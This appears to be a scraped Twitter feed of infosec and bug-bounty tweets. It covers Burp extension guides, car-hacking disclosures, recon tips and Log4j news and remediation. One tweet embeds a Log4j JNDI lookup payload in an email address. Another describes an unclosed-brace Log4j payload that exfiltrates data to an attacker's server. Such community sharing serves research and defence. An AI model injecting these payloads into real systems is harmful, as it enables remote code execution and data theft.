Aditya Verma

Security Engineer |
On the trail to give back more than received from the community

[Aditya Verma @0cirius0]

Published a complete beginner friendly guide for creating Burpsuite Extensions. Get those bugs fast by automating the workflow!
https://t.co/osRqipiNTY
@PortSwigger @Burp_Suite
#bugbountytips #bugbounty

[Aditya Verma @0cirius0]

Don't stay at this place

[Sam Curry @samwcyo]

More car hacking!

Earlier this year, we were able to remotely unlock, start, locate, flash, and honk any remotely connected Honda, Nissan, Infiniti, and Acura vehicles, completely unauthorized, knowing only the VIN number of the car.

Here's how we found it, and how it works:

[JS0N Haddix @Jhaddix]

A thread🧵

💸Secrets of automation-kings in bug bounty💸

Finding 1day (or 1month) web exploits that haven't made their into scanners yet can make you big money.

Read more to understand where and how to get an edge in this area!

🚨Retweet, follow, & like for more! 🚨

1/x

[JS0N Haddix @Jhaddix]

This tool keeps getting better and better. Those using LinkFinder should switch over asap =)

[Aditya Verma @0cirius0]

🤯🤯

[Tom Gara @tomgara]

This discussion between a Google engineer and their conversational AI model helped cause the engineer to believe the AI is becoming sentient, kick up an internal shitstorm and get suspended from his job. And it is absolutely insane. https://t.co/hGdwXMzQpX

[Aditya Verma @0cirius0]

Another 0day on weekend🤡🤓

https://t.co/DAPtZPgHQM

#bugbounty #zeroday

[Sid @illucist_]

Never take long breaks in infosec, I repeat never.
#infosec

[Renzi 🇧🇷 @Renzi25031469]

How I Made $16,500 Hacking CDN Caching Servers — Part 3
https://t.co/HL3RibRt9r

[Yash Devkate 🇮🇳 @rootxyash]

A thread all about rate limit bypasses tips.

Retweet and let others to know about this!

[Renganathan @IamRenganathan]

Wanna Hunt on Apple, Nokia, IBM, or Google?

They Have Hundred Thousands of Subdomains

But How to Start?

A Thread 🧵 on #recon in Large Scope Assets

[Yash Devkate 🇮🇳 @rootxyash]

A Thread all about SSRF tips

Pro Tip: Bookmark and retweet this tweet (•‿•)

[Aditya Verma @0cirius0]

@0xImposter 🤤🔥🔥

[Hacking Articles @hackinarticles]

Active Directory Pentest Cheatsheet

Credit https://t.co/h4RIxJllMP

#infosec #cybersecurity #pentesting #oscp #informationsecurity #hacking #cissp #redteam #technology #DataSecurity #CyberSec #cheatsheet #servers #Windows

[Tom Anthony @TomAnthonySEO]

Interesting Log4j payload I discovered, simply omit the closing brace }, and now you will potentially get a bunch of data exfiltrated to your server until the next } appears in that data. Had it work on a FANG target...

[John Hammond @_JohnHammond]

I've prepared a @tryhackme room to demonstrate #log4j #log4shell CVE-2021-44228, explaining the vulnerability, attack vector, and more importantly, detection, mitigations and patching. Working with THM staff to get this in your hands -- it should be available soon.

[sshell @sshell_]

I think I speak for everyone when I say AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[Mick Douglas 🇺🇦🌻 @bettersafetynet]

Just got off phone with a client. Log4j is in their network. Vendor claims patch will be available next release... which is multiple months from now.

Here's what you do if you're in this situation.

1. Keep calm. There's no need to panic.
2. Carefully read this thread.

1/?

[Aditya Verma @0cirius0]

🌚

[Leandro Barragan @lean0x2f]

For educational purposes only: test+(${jndi:ldap://test/a})@gmail.com is a valid RFC822 Email Address 😅

[Somdev Sangwan @s0md3v]

I laughed when I read this and then shook my head in disbelief. Wow🤦‍♂️
https://t.co/X8YQogQdgE